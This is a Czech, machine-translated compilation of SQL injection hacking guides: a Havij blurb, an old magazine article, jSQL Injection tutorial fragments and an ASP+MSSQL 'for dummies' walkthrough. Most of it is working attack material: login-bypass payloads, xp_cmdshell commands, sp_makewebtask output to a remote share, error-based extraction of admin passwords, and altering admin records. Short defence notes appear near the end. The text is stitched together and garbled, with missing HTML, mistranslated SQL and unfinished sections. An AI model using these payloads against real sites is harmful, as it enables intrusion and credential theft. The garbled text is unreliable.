Program pro injekce sql. Návod k použití jSQL Injection, multifunkčního nástroje pro vyhledávání a využívání SQL injection v Kali Linuxu. Hrubé vynucení hashů pomocí jSQL Injection

Havij je program, který kontroluje zranitelnosti webových stránek. Nejčastěji se nepoužívá pro svůj hlavní účel, konkrétně pro vkládání SQL injekcí. Z tohoto důvodu je tento nástroj nejčastěji klasifikován jako „hackovací“ software.

Princip činnosti

Pomocí této aplikace můžete provádět útoky na webovou službu za účelem změny výrazu SQL pomocí spojení. V případě úspěchu vám injekce umožní upravit logiku provádění uživatelského požadavku tak, aby vyhovovala vašim vlastním potřebám. Často se při útoku vytvoří jednoduchý otisk databáze, po kterém se z ní naimportují potřebná data, například uživatelská databáze nebo administrátorský účet. Pokud existují zranitelnosti, může útočník dokonce interagovat s back-end částí webové aplikace. Taková implementace zejména umožňuje provádět potřebné příkazy na serveru nebo prohlížet potřebné soubory na straně hostitele.

Možnosti

Havij umožňuje ukládat hash hesel a výpisy tabulek. Program umožňuje provádět různé typy injekcí: injekce SQL založené na chybách, injekce SQL dotazu UNION, vkládání SQL skládaných dotazů, injekce SQL naslepo založená na čase a slepá injekce SQL založená na booleovských základech. Nástroj pracuje s HTTPS a podporuje různé typy DBMS: MSAccess, MySQL, Oracle, PostgreSQ a dokonce Sybase. V případě potřeby může Havij pracovat ve více vláknech prostřednictvím proxy.

Syntaxi vloženého kódu lze upravit ručně. Před zahájením útoku si také můžete vybrat seznam hledaných klíčových slov, sloupců tabulky nebo datových typů (například celá čísla nebo zlomky).

Během operace si Havij vede podrobný protokol o provedených operacích, které jsou po dokončení útoku uloženy ve složce programu. Rozhraní aplikace je vcelku intuitivní a všechny hlavní ovládací prvky se vejdou do jednoho okna.

Klíčové vlastnosti

  • provádění injekcí SQL s požadovanou syntaxí;
  • podpora různých možností implementace;
  • vyhledávání zranitelností webových stránek a aplikací;
  • schopnost pracovat s různými typy DBMS;
  • HTTPS a podpora proxy.

SQL Injection docela dobrá příležitost pro hackera
přístup k serveru. A s trochou snahy i on
stále to chápe :)

Kodér uvnitř

V dnešní době je podporována práce s databázemi
téměř všechny programovací jazyky, mezi ně patří BASIC, C++, Java, PERL, PHP, Assembler a dokonce i JavaScript! A těmto programům se neříká nic jiného než DBMS – systémy pro správu databází. Databáze se často používají k řešení finančních problémů,
účetnictví, personální organizace, ale své uplatnění našly i na internetu.

Databáze se často používají k psaní WEB aplikací. Jejich použití je nejvhodnější pro ukládání registračních údajů uživatelů, identifikátorů relací, organizování vyhledávání a dalších úkolů vyžadujících více zpracování
množství dat. Pro přístup k databázi se používají serverové technologie: PHP, PERL, ASP atd. Tady začíná zábava. Když na serveru
všechny záplaty jsou nainstalovány a firewall blokuje všechny porty kromě portu 80 nebo když je vyžadována autentizace pro přístup k některým datům, může hacker použít SQL Injection k hacknutí. Podstatou tohoto útoku je zneužití chyby na průsečíku WEB technologií a SQL. Faktem je, že mnoho webových stránek pro zpracování uživatelských dat tvoří speciální SQL požadavek na databázi. Neopatrné používání této techniky může vést k docela zajímavým výsledkům...

SQL Injection

Pro vysvětlení útoku si představme, že jste si šli na stránky stáhnout jeden velmi důležitý nástroj a s hrůzou si všimněte, že tohle může udělat jen registrovaný uživatel a registrace samozřejmě stojí peníze 🙂 Nechcete dát své poslední vydělané peníze, ale bez programu to nejde! Je čas si připomenout jak
přístup k databázím SQL. Například kontrola vašeho přihlašovacího jména a hesla v PHP může vypadat takto:

$result=mysql_db_query($db,"SELECT * FROM $table WHERE user="$login" AND
pass="$heslo"");
$num_rows=mysql_num_rows($vysledek);
mysql_close($odkaz);
if ($num_rows!=0)
{
// AUTHENTICATION OK
}
jiný
{
// CHYBA OVĚŘENÍ
}

Přidal jsem dva komentáře, "AUTHENTICATION OK" - místo toho bych měl
přejděte na kód, který bude proveden, pokud je heslo a přihlašovací jméno správné. Další "CHYBA AUTENTIZACE" je místo, kde bude popsán kód, který bude proveden, pokud jsou nesprávné. Pokud vyplníte formulář, požadavek bude vypadat takto „http://www.server.com?login=user&password=31337“, kde www.server.com je název
server, ke kterému se pokoušíme připojit. Našli jsme, co jsme hledali, a proto se znovu vrátíme do práce SQL. Pokud tedy musíte zadat přihlašovací jméno a heslo pro autorizaci, vygeneruje se SQLžádost bude vypadat takto:

SELECT * FROM users WHERE login="user" AND
heslo="31337"

To znamená něco takového: vraťte mi všechny záznamy z databáze uživatelů, jejichž přihlašovací jméno je „user“ a heslo je „31337“. Pokud takový záznam existuje, tak je uživatel registrován, ale pokud ne, tak ne... Ale za určitých okolností lze vše napravit. Jedná se o situaci, kdy aplikace nekontroluje obsah přenášených dat nebo je zcela nezkontroluje na přítomnost SQL instrukce. V tomto příkladu jsou zaškrtnuta dvě pole login a password, ale pokud jako heslo zadáte "31337" AND email=" [e-mail chráněný]"(bez uvozovek), pak dotaz dopadne trochu jinak:

SELECT * FROM users WHERE login="user" AND password="31337" AND
email=" [e-mail chráněný]"

A pokud pole email existuje, bude tato podmínka také zkontrolována. Pokud si pamatujete základy Booleovy algebry, napadne vás, že kromě operace „a“ existuje také „nebo“, a protože jejich použití podporuje SQL, můžete
popsaným způsobem přidejte podmínku, která vždy vrátí hodnotu true. Chcete-li to provést, musíte jako přihlašovací jméno zadat „user“ NEBO 1=1--, v takovém případě bude mít požadavek podobu:

SELECT * FROM users WHERE login="user" OR 1=1--" AND
heslo="31337"

Nejprve byste měli vědět, že "--" znamená konec požadavku a vše za "--"
nebude zpracováno! Ukázalo se, že jsme požádali:

SELECT * FROM users WHERE login="user" NEBO 1=1

Jak vidíte, přidali jsme podmínku „1=1“, což znamená, že ověřovací kritérium bude „pokud je přihlášení „uživatel“ nebo 1=1“, ale 1 se vždy rovná 1 (jedinou výjimkou může být aritmetika Daniho Shepovalova :)). Abychom prověřili naše podezření
Do adresního řádku zadejte „http://www.server.com?login=user or 1=1--&password=31337“. To vede k tomu, že nezáleží na tom, který login jsme zadali, ale
hlavně heslo! A jsme v matrixu, v systému a můžeme si klidně stáhnout, co potřebujeme.

Ale to vše je teoreticky. V praxi nevíme, jak se žádost tvoří, jaká data jsou přenášena a v jakém pořadí. Proto musíte pro všechna pole zadat "user" NEBO 1=1--". Měli byste také zkontrolovat formulář pro odeslání skrytých polí. V HTML jsou popsána jako " ". Pokud nějaké existují, uložte stránku a změňte hodnoty těchto polí. Hodnoty v nich obsažené se často zapomínají na kontrolu přítomnosti příkazů SQL. Ale aby vše fungovalo, měli byste zadat úplné cestu ke skriptu ve formuláři (tag "FORM") pro parametr "ACTION", který tento požadavek zpracuje.

Ale ne vždy se ví, jak se žádost tvoří,
Předchozí příklad lze vytvořit následujícími způsoby:

SELECT * FROM users WHERE (login="user" AND password="31337")
SELECT * FROM users WHERE login="user" AND password="31337"
SELECT * FROM users WHERE login=uživatel A heslo=31337

V tomto případě můžete vyzkoušet následující možnosti:

"NEBO 1=1--
"NEBO 1=1--
NEBO 1=1--
" NEBO "a"="a
" NEBO "a"="a
") NEBO ("a"="a
NEBO "1"="1"

Vše závisí na účelu skriptu a na programátorovi. Vzhledem k tomu, že každý člověk má tendenci dělat vše po svém, je docela možné, že programátor nezvolí nejjednodušší možnost. Proto byste neměli okamžitě
vzdát se, pokud budeš odmítnut. Nezbytné
zkuste co nejvíce možností...

Detekce hesla

Obejití autorizace není špatné, ale velmi často je díra, kterou používáte, uzavřena a vše, co jste měli k dispozici, je ztraceno.
To se dá očekávat, pokud programátor není hlupák
Postupem času uzavře všechny mezery. Takových situací se snadno zbavíte tím, že se o to postaráte předem. Správným řešením může být uhodnutí hesla pomocí
analýza výsledků autentizace. Nejprve zkusme uhodnout heslo, k tomu zadejte jeho umístění:

"NEBO heslo>"a

Pokud je nám řečeno, že autorizace byla předána, pak heslo
nezačíná písmenem "a", ale jedním z následujících na seznamu. Pojďme dál a nahraďme
místo "a", další "b", "c", "d", "e"... atd. dokud nám neřeknou, že heslo není správné. Nechte tento proces zastavit u znaku „x“, v tomto případě jsou vytvořeny dvě možnosti vývoje situace: heslo je nalezeno nebo heslo začíná tímto znakem. Chcete-li zkontrolovat první možnost, napište umístění hesla:

"NEBO heslo="x

a pokud je heslo přijato a máte povolen vstup, pak jste heslo uhodli! No, ne, pak byste měli vybrat druhou postavu,
úplně to samé, od začátku. Zkontrolujte dva znaky
potřebovat totéž. Nakonec dostanete heslo a stejným způsobem budete hledat login :)
Pokud vám nalezené heslo a login nevyhovují, můžete si najít jiné. Chcete-li to provést, musíte začít s kontrolou od posledního znaku nalezeného hesla. Takže pokud bylo heslo "xxx", je nutné zkontrolovat existenci hesla
"xxxy":

"NEBO heslo="xxx

abyste nepropásli více než jednu možnost!

MS SQL Server

MS SQL Server je obecně dar z nebes, pokud chybí potřebné filtrování. Pomocí chyby zabezpečení SQL Injection můžete spustit
příkazy na vzdáleném serveru pomocí exec master..xp_cmdshell. Ale použít tento design
musí být dokončena operace SELECT. V SQL jsou příkazy odděleny středníky. Proto, abyste se mohli připojit k nějaké IP přes Telnet, musíte zadat heslo/login:

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

MS SQL Server má několik dalších zajímavých funkcí, které vám umožní zjistit přihlašovací jména a hesla uložená v databázi. K tomu je chybový výstup přesměrován na libovolný server a přes ně
analýzy, můžete zjistit název tabulky, pole a jejich typy. Poté můžete požádat

" UNION SELECT TOP 1 přihlášení OD uživatelů--

(login je název pole obsahujícího přihlášení a uživatelé je název tabulky,
polovědci v procesu analýzy chyb).

Odpověď může být:


Chyba syntaxe při převodu hodnoty nvarchar "admin" to a column of data type int. !}
/default.asp, řádek 27

Nyní víme, že existuje uživatel jménem „admin“. Nyní můžeme získat jeho heslo:

" UNION SELECT TOP 1 heslo OD uživatelů kde login="admin"--

Výsledek:

Chyba poskytovatele Microsoft OLE DB pro ovladače ODBC "80040e07"
Chyba syntaxe při převodu hodnoty nvarchar "xxx" to a column of data type int. !}
/tedault.asp, řádek 27

Nyní víme, že existuje uživatel „admin“ s heslem „xxx“. S tím můžete bezpečně
použijte to a přihlaste se do systému 😉

Ale existuje mnoho dalších funkcí pro práci s SQL,
Při práci s databází můžete také mazat data, upravovat je, vkládat vlastní a dokonce manipulovat se soubory a pracovat s registrem.
Obecně platí, že SQL Server pravidla :)

Ochrana

Ale tomu všemu se dá samozřejmě předejít. Chcete-li to provést, můžete
používat filtry,
poskytované výrobci. Můžete si najít své vlastní řešení, například nahradit všechny singly
dvojité uvozovky (pokud pro SQLžádost používáme jednotlivé), nebo naopak. Můžete povolit pouze použití písmen a s@baki, pokud potřebujete zadat
emailová adresa. A v perle je úžasné
funkce 🙂 quote() v modulu DBI::DBD, která úspěšně zajišťuje bezpečnost vašeho dotazu s ohledem na SQL. Řešení je mnoho, jen je potřebujete
využít. Jinak proč to všechno...

Spusťte stažený soubor dvojitým kliknutím (musíte mít virtuální stroj).

3. Anonymita při kontrole místa pro SQL injection

Nastavení Tor a Privoxy v Kali Linuxu

[Sekce ve vývoji]

Nastavení Tor a Privoxy ve Windows

[Sekce ve vývoji]

Nastavení proxy v jSQL Injection

[Sekce ve vývoji]

4. Kontrola místa pro SQL injection pomocí jSQL Injection

Práce s programem je velmi jednoduchá. Stačí zadat adresu webu a stisknout ENTER.

Následující snímek obrazovky ukazuje, že web je zranitelný vůči třem typům injekcí SQL (informace o nich jsou uvedeny v pravém dolním rohu). Kliknutím na názvy injekcí můžete přepnout použitou metodu:

Také se nám již zobrazily stávající databáze.

Obsah každé tabulky si můžete prohlédnout:

Nejzajímavější věcí na tabulkách jsou obvykle přihlašovací údaje správce.

Pokud budete mít štěstí a data správce najdete, pak je ještě brzy na radost. Ještě musíte najít admin panel, kam tyto údaje zadat.

5. Hledejte administrátorské panely pomocí jSQL Injection

Chcete-li to provést, přejděte na další kartu. Zde nás přivítá seznam možných adres. Pro kontrolu můžete vybrat jednu nebo více stránek:

Pohodlí spočívá v tom, že nemusíte používat další programy.

Bohužel není příliš mnoho neopatrných programátorů, kteří ukládají hesla v čistém textu. Dost často v řádku s hesly vidíme něco podobného

8743b52063cd84097a65d1633f5c74f5

Toto je hash. Můžete jej dešifrovat pomocí hrubé síly. A... jSQL Injection má vestavěný brute force.

6. Hrubá síla hash pomocí jSQL Injection

Nespornou výhodou je, že nemusíte hledat další programy. Existuje podpora mnoha nejoblíbenějších hashů.

To není nejlepší možnost. Abyste se stali guru v dekódování hashů, doporučujeme knihu „“ v ruštině.

Ale samozřejmě, když není po ruce jiný program nebo není čas na studium, velmi vhod přijde jSQL Injection s vestavěnou funkcí brute force.

Existují nastavení: můžete nastavit, které znaky jsou součástí hesla, rozsah délky hesla.

7. Operace se soubory po detekci SQL injekcí

Kromě operací s databázemi - jejich čtení a úpravy, pokud jsou detekovány injekce SQL, lze provádět následující operace se soubory:

  • čtení souborů na serveru
  • nahrávání nových souborů na server
  • nahrání shellů na server

A to vše je implementováno v jSQL Injection!

Existují omezení - SQL server musí mít oprávnění k souboru. Správci chytrého systému je zakázali a nebudou moci získat přístup k systému souborů.

Přítomnost oprávnění k souborům lze snadno zkontrolovat. Přejděte na jednu ze záložek (čtení souborů, vytvoření shellu, nahrání nového souboru) a pokuste se provést jednu ze zadaných operací.

Ještě velmi důležitá poznámka – musíme znát přesnou absolutní cestu k souboru, se kterým budeme pracovat – jinak nebude fungovat nic.

Podívejte se na následující snímek obrazovky:

Na jakýkoli pokus o operaci se souborem obdržíme následující odpověď: Žádné oprávnění FILE(žádná oprávnění k souboru). A tady se nedá nic dělat.

Pokud místo toho máte jinou chybu:

Problém se zápisem do [název_adresáře]

To znamená, že jste nesprávně zadali absolutní cestu, kam chcete soubor zapsat.

Abyste mohli uhodnout absolutní cestu, musíte alespoň znát operační systém, na kterém server běží. Chcete-li to provést, přejděte na kartu Síť.

Takový záznam (řádek Win64) nám dává důvod předpokládat, že máme co do činění s OS Windows:

Keep-Alive: timeout=5, max=99 Server: Apache/2.4.17 (Win64) PHP/7.0.0RC6 Připojení: Keep-Alive Metoda: HTTP/1.1 200 OK Obsah-Length: 353 Datum: Pá, 11. prosince 2015 11:48:31 GMT X-Powered-By: PHP/7.0.0RC6 Content-Type: text/html; znaková sada=UTF-8

Zde máme nějaký Unix (*BSD, Linux):

Transfer-Encoding: chunked Date: Fri, 11 Dec 2015 11:57:02 GMT Method: HTTP/1.1 200 OK Keep-Alive: timeout=3, max=100 Connection: keep-alive Content-Type: text/html X- Běží na: PHP/5.3.29 Server: Apache/2.2.31 (Unix)

A tady máme CentOS:

Metoda: HTTP/1.1 200 OK Platnost: Čt, 19. listopadu 1981 08:52:00 GMT Set-Cookie: PHPSESSID=9p60gtunrv7g41iurr814h9rd0; cesta=/ Připojení: keep-alive X-Cache-Lookup: MISS z t1.hoster.ru:6666 Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.4.37 X-Cache: MISS z t1.hoster.ru Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Datum: pá, 11. prosince 2015 12:08:54 GMT Transfer-Encoding: chunked Content-Type: text/html; znaková sada=WINDOWS-1251

V systému Windows je typická složka pro weby C:\Server\data\htdocs\. Ale ve skutečnosti, pokud někdo „uvažoval“ o vytvoření serveru na Windows, pak tato osoba velmi pravděpodobně neslyšel nic o privilegiích. Proto byste měli začít zkoušet přímo z adresáře C:/Windows/:

Jak vidíte, napoprvé vše proběhlo v pořádku.

Ale samotné shelly jSQL Injection vzbuzují v mé mysli pochybnosti. Pokud máte oprávnění k souborům, můžete snadno něco nahrát pomocí webového rozhraní.

8. Hromadná kontrola stránek pro SQL injekce

A dokonce i tato funkce je dostupná v jSQL Injection. Vše je velmi jednoduché - stáhněte si seznam stránek (můžete importovat ze souboru), vyberte ty, které chcete zkontrolovat, a kliknutím na příslušné tlačítko spusťte operaci.

Závěr z jSQL Injection

jSQL Injection je dobrý, výkonný nástroj pro vyhledávání a následné použití SQL injekcí nalezených na webových stránkách. Jeho nepochybné výhody: snadné použití, vestavěné související funkce. jSQL Injection může být nejlepším přítelem začátečníka při analýze webových stránek.

Mezi nedostatky bych poznamenal nemožnost editace databází (alespoň jsem tuto funkcionalitu nenašel). Jako u všech nástrojů GUI lze jednu z nevýhod tohoto programu připsat jeho nemožnosti použití ve skriptech. Přesto je i v tomto programu možná určitá automatizace – díky vestavěné funkci hromadné kontroly stránek.

Program jSQL Injection se používá mnohem pohodlněji než sqlmap. Ale sqlmap podporuje více typů SQL injekcí, má možnosti pro práci se souborovými firewally a některé další funkce.

Sečteno a podtrženo: jSQL Injection je nejlepší přítel začínajícího hackera.

Nápovědu k tomuto programu v Kali Linux Encyklopedie naleznete na této stránce: http://kali.tools/?p=706

SQL Injection pro figuríny, hackování ASP+MSSQL

Alexandr Antipov

Tento článek neobsahuje žádné nové pravdy. SQL injection je široce popsán a používán všude. Článek je určen spíše začátečníkům, ale snad se profesionálům podaří najít jeden nebo dva nové triky.


Tento článek má pomoci nováčkům vypořádat se s problémy, se kterými se mohou setkat při používání techniky SQL Injection, úspěšně ji používat a být schopni se před takovými útoky chránit.

Úvod

Když má zájmový server otevřený pouze port 80 a skener zranitelnosti nemůže hlásit nic zajímavého a vy víte, že správce systému vždy velmi rychle nainstaluje všechny záplaty na webový server, naší poslední šancí je webový hacking. SQL injection je jedním z typů web hackingu, který používá pouze port 80 a může fungovat i s včasnými záplatami. Tento útok je zaměřen spíše na webové aplikace (jako ASP, JSP, PHP, CGI atd.) než přímo na webový server nebo služby v OS.

Tento článek neobsahuje žádné nové pravdy. SQL injection je široce popsán a používán všude. Článek je určen spíše začátečníkům, ale snad se profesionálům podaří najít jeden nebo dva nové triky. Doporučuji také podívat se na odkazy na konci článku pro podrobnější informace od odborníků v oboru.

1.1 Co je SQL Injection?

SQL Injection je metoda navržená pro vkládání SQL dotazů/příkazů prostřednictvím webových stránek. Mnoho webových stránek používá parametry prezentované uživatelům webu a provádí SQL dotaz do databáze. Vezměme si například případ přihlášení uživatele, kdy existuje webová stránka se jménem a heslem a v databázi je proveden SQL dotaz pro kontrolu, zda existuje registrovaný uživatel s tímto jménem a heslem. Pomocí SQL Injection je možné odeslat vytvořené pole pro uživatelské jméno a/nebo heslo, které modifikuje SQL dotaz, což nám může poskytnout některé zajímavé věci.

2.0 Co bychom měli hledat

Zkuste najít stránky, které vás žádají o údaje, jako je vyhledávací stránka, diskusní stránka atd. Někdy html stránky používají metodu POST k odesílání příkazů na jinou webovou stránku. V tomto případě v adrese URL neuvidíte žádné parametry. V tomto případě však můžete hledat značku „FORM“ ve zdrojovém kódu HTML stránek. Najdete něco takového:



Všechny parametry mezi

A
může být potenciálně zranitelný vůči SQL injection.

2.1 Co když nenajdete stránku, která používá vstup?

Hledejte stránky jako ASP, JSP, CGI nebo webové stránky PHP. Zkuste najít stránky, které používají parametry jako:

3.0. Jak mohu zkontrolovat, že to, co jsem našel, je zranitelné?

Zkuste začít jedním citátem. Zadejte následující řádek:

ahoj" nebo 1=1--

v poli uživatelské jméno nebo heslo nebo dokonce v parametru URL. Příklad:

Přihlášení: ahoj" nebo 1=1--
Pass: ahoj" nebo 1=1--
http://duck/index.asp?id=hi" nebo 1=1--

Pokud jste to udělali se skrytým polem, stáhněte si původní HTML, uložte jej na pevný disk a podle toho změňte adresu URL a skryté pole. Příklad:



Pokud je štěstí na vaší straně, budete se moci přihlásit bez uživatelského jména a hesla.

3.1 Ale proč "nebo 1=1--?

Podívejme se na další příklad, který vysvětluje užitečnost konstrukce „ nebo 1=1--. Kromě obcházení registrace se můžeme podívat na další informace, které nejsou obvykle dostupné. Zvažte stránku asp, která odkazuje na jinou stránku s následující URL:

http://duck/index.asp?category=food

V adrese URL je „kategorie“ název proměnné a „jídlo“ je hodnota přiřazená této proměnné. K tomu může stránka asp obsahovat následující kód:

v_cat = request("kategorie")
sqlstr="VYBRAT * Z produktu WHERE PCategory="" & v_cat & """
set rs=conn.execute(sqlstr)

jak můžete vidět, naše proměnná bude kombinována s v_cat, takže SQL dotaz by měl být:

VYBERTE * Z produktu WHERE PCategory="food"

Tento dotaz musí vrátit sadu obsahující jeden nebo více řádků, které odpovídají klauzuli WHERE, v tomto případě "jídlo". Nyní změňme adresu URL následovně:

http://duck/index.asp?category=food" nebo 1=1--
VYBERTE * Z produktu WHERE PCategory="jídlo" nebo 1=1--‘

Tento dotaz vrátí všechny řádky v tabulce produktů bez ohledu na to, zda je Pcategory "jídlo" nebo ne. Dvojitá pomlčka "-" říká MS SQL Server, aby ignoroval zbytek dotazu, který následuje za jednoduchou uvozovkou ("). Někdy můžete dvojitou pomlčku nahradit ostrým "#".

Pokud však používáte jiný než SQL server nebo nemůžete ignorovat zbytek dotazu, zkuste:

" nebo "a"="a

Nyní bude SQL dotaz:

VYBERTE * Z produktu WHERE PCategory="jídlo" nebo "a"="a"

Tento dotaz vrátí stejný výsledek.

V závislosti na skutečném SQL dotazu možná budete muset vyzkoušet některé z těchto možností:

"nebo 1=1--
"nebo 1=1--
nebo 1=1--
" nebo "a"="a
" nebo "a"="a
") nebo ("a"="a

4.0 Jak mohu provádět příkazy vzdáleně pomocí SQL injection?

Možnost zadat SQL příkaz obvykle znamená, že můžeme provádět SQL dotazy dle libosti. Výchozí instalace MS SQL Serveru běží se systémovými právy. Můžeme volat vestavěné procedury jako master..xp_cmdshell pro vzdálené provádění libovolných příkazů:

"; exec master..xp_cmdshell "ping 10.10.1.2" --

Zkuste použít dvojité uvozovky ("), pokud (") nefunguje.

Středník ukončí aktuální SQL dotaz a umožní vám spouštět nové SQL příkazy. Chcete-li zkontrolovat, zda byl příkaz úspěšný, můžete zkontrolovat pakety ICMP v 10.10.1.2 a zjistit, zda neobsahují nějaké pakety z ohroženého serveru:

http://site/?ID=31610

Pokud ze serveru neobdržíte žádný požadavek ping a zobrazí se chybová zpráva označující chybu oprávnění, je možné, že správce omezil přístup webového uživatele k uloženým procedurám.

5.0 Jak získám výsledky svého SQL dotazu?

K napsání požadavku v HTML můžete použít sp_makewebtask:

"; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "VYBRAT * Z INFORMAČNÍCH_SCHÉMA.TABLES"

Zadaná IP musí mít složku „share“ s přístupem pro každého.

6.0 Jak načíst data z databáze pomocí chybových zpráv ODBC?

Můžeme použít informace z chybové zprávy vytvořené SQL serverem k načtení jakýchkoli dat. Zvažte například následující stránku:

http://duck/index.asp?id=10

Nyní se pokusíme zřetězit celé číslo „10“ s jiným řádkem v databázi:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Systémová tabulka INFORMATION_SCHEMA.TABLES obsahuje informace ze všech tabulek na serveru.

Pole TABLE_NAME zjevně obsahuje název každé tabulky v databázi. Bylo vybráno, protože víme, že vždy existuje. Náš požadavek:

VYBERTE NEJLEPŠÍ 1 TABLE_NAME Z INFORMAČNÍHO SCHÉMATU.TABLES--

Tento dotaz vrátí křestní jméno v databázi. Když UNION tuto hodnotu řetězce na celé číslo 10, MS SQL Server se pokusí převést řetězec nvarchar na celé číslo. To vyvolá chybu, že nelze převést nvarchar na int. Server zobrazí následující chybu:


Chyba syntaxe při převodu hodnoty nvarchar "table1" to a column of data type int. !}
/index.asp, řádek 5

Chybová zpráva obsahuje informace o hodnotě, kterou nelze převést na celé číslo. V tomto případě jsme dostali název první tabulky - "tabulka1".

K získání názvu další tabulky můžeme použít následující dotaz:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ("table1")--

Data můžeme také vyhledávat pomocí klávesy LIKE:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE "%25login%25"--

Chyba poskytovatele Microsoft OLE DB pro ovladače ODBC "80040e07" Chyba syntaxe při převodu hodnoty nvarchar "admin_login" to a column of data type int. !} /index.asp, řádek 5

Odpovídající konstrukce "%25login%25" bude nahrazena %login% na serveru SQL. V tomto případě získáme název tabulky, který odpovídá kritériu „admin_login“.

6.1 Jak zjistím názvy všech sloupců v tabulce?

K zobrazení všech názvů sloupců v tabulce můžeme použít tabulku INFORMATION_SCHEMA.COLUMNS:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login"-

Chyba poskytovatele Microsoft OLE DB pro ovladače ODBC "80040e07"
Chyba syntaxe při převodu hodnoty nvarchar "login_id" to a column of data type int. !}
/index.asp, řádek 5

Nyní, když známe název prvního sloupce, můžeme použít NOT IN() k získání názvu dalšího sloupce:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME Z INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NENÍ V ("login_id")-

Chyba poskytovatele Microsoft OLE DB pro ovladače ODBC "80040e07"
Chyba syntaxe při převodu hodnoty nvarchar "login_name" to a column of data type int. !}
/index.asp, řádek 5

Pokračováním získáme zbytek názvů sloupců, tj. "heslo", "podrobnosti", dokud nedostaneme následující chybu.

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME Z INFORMAČNÍHO SCHÉMATU.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NENÍ V ("login_id","login_name","password",details")--

Chyba zprostředkovatele Microsoft OLE DB pro ovladače ODBC "80040e14"
Pokud příkaz obsahuje operátor UNION, musí se položky ORDER BY objevit ve výběrovém seznamu.
/index.asp, řádek 5

6.2. Jak získáme data, která potřebujeme?

Nyní, když jsme identifikovali některé důležité tabulky, můžeme použít stejnou techniku ​​k získání informací z databáze.

Pojďme získat první login_name z tabulky "admin_login":

http://duck/index.asp?id=10 UNION SELECT TOP 1 přihlašovací_jméno OD admin_login--

Chyba poskytovatele Microsoft OLE DB pro ovladače ODBC "80040e07"
Chyba syntaxe při převodu hodnoty nvarchar "neo" to a column of data type int. !}
/index.asp, řádek 5

Nyní víme, že existuje uživatel admin s přihlašovacím jménem "neo". Konečně můžeme získat heslo "neo":

http://duck/index.asp?id=10 UNION SELECT TOP 1 heslo OD admin_login kde login_name="neo"--

Chyba poskytovatele Microsoft OLE DB pro ovladače ODBC "80040e07"
Chyba syntaxe při převodu hodnoty nvarchar "m4trix" to a column of data type int. !}
/index.asp, řádek 5

Nyní se budeme moci přihlásit jako „neo“ s heslem „m4trix“.

6.3 Jak získat číselnou hodnotu řetězce?

Ve výše popsané metodě existuje omezení. Pokud se pokusíme převést text, který se skládá z čísla (pouze znaky mezi 0...9), nebudeme schopni dostat chybovou zprávu. Nyní popíšeme získání hesla "31173" od uživatele "trinity":

http://duck/index.asp?id=10 UNION SELECT TOP 1 heslo FROM admin_login where login_name="trinity"--

Pravděpodobně se nám zobrazí chyba „Stránka nenalezena“. Důvodem je, že heslo "31173" bude převedeno na číslo před UNION s celým číslem (v našem případě 10). Vzhledem k tomu, že výraz UNION je správný, SQL server nevygeneruje chybové hlášení a nebudeme schopni získat číselný záznam.

Abychom tento problém vyřešili, můžeme na konec přidat číselný řetězec s několika písmeny, abychom zabránili provedení převodu. Upravený požadavek:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b"%20morpheus") FROM admin_login where login_name="trinity"--

Jednoduše použijeme znaménko plus (+) k připojení hesla k libovolnému textu (kódování ASCII pro „+“ = 0x2b). Dále na konec skutečného hesla připojíme "%20morpheus". Takže i když je hodnota hesla "31173", stane se "31173 morpheus". Při ručním volání funkce convert() při pokusu o převod "31173 morpheus" na celé číslo SQL Server vyvolá chybovou zprávu ODBC:

Chyba poskytovatele Microsoft OLE DB pro ovladače ODBC "80040e07"
Chyba syntaxe při převodu hodnoty nvarchar "31173 morpheus" to a column of data type int. !}
/index.asp, řádek 5

Nyní se budeme moci přihlásit jako "trinity" s heslem "31173".

7.0 Jak upravit/vložit data do databáze?

Jakmile máme jména všech podle sloupců v tabulce, můžeme aktualizovat (UPDATE) nebo dokonce vložit (INSERT) nový záznam do tabulky. Například můžeme změnit heslo pro "neo":

http://duck/index.asp?id=10; AKTUALIZACE "admin_login" SET "password" = "newpas5" WHERE login_name="neo--

VLOŽENÍ nového záznamu do databáze:

http://duck/index.asp?id=10; INSERT INTO "admin_login" ("login_id", "login_name", "password", "details") VALUES (666,"neo2","newpas5","NA")--

Nyní se budeme moci přihlásit jako „neo“ s heslem „newpas5“.

8.0 Jak se vyhnout SQL Injection?

Filtrovat speciální znaky ve všech řádcích v:

Jakékoli údaje zadané uživatelem
- parametry URL
- Cookie

U číselných hodnot je před předáním do SQL dotazu převeďte na celé číslo. Nebo použijte ISNUMERIC, abyste se ujistili, že se jedná o celé číslo.

Spusťte SQL Server jako neprivilegovaný uživatel.

Odeberte nepoužívané uložené procedury: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask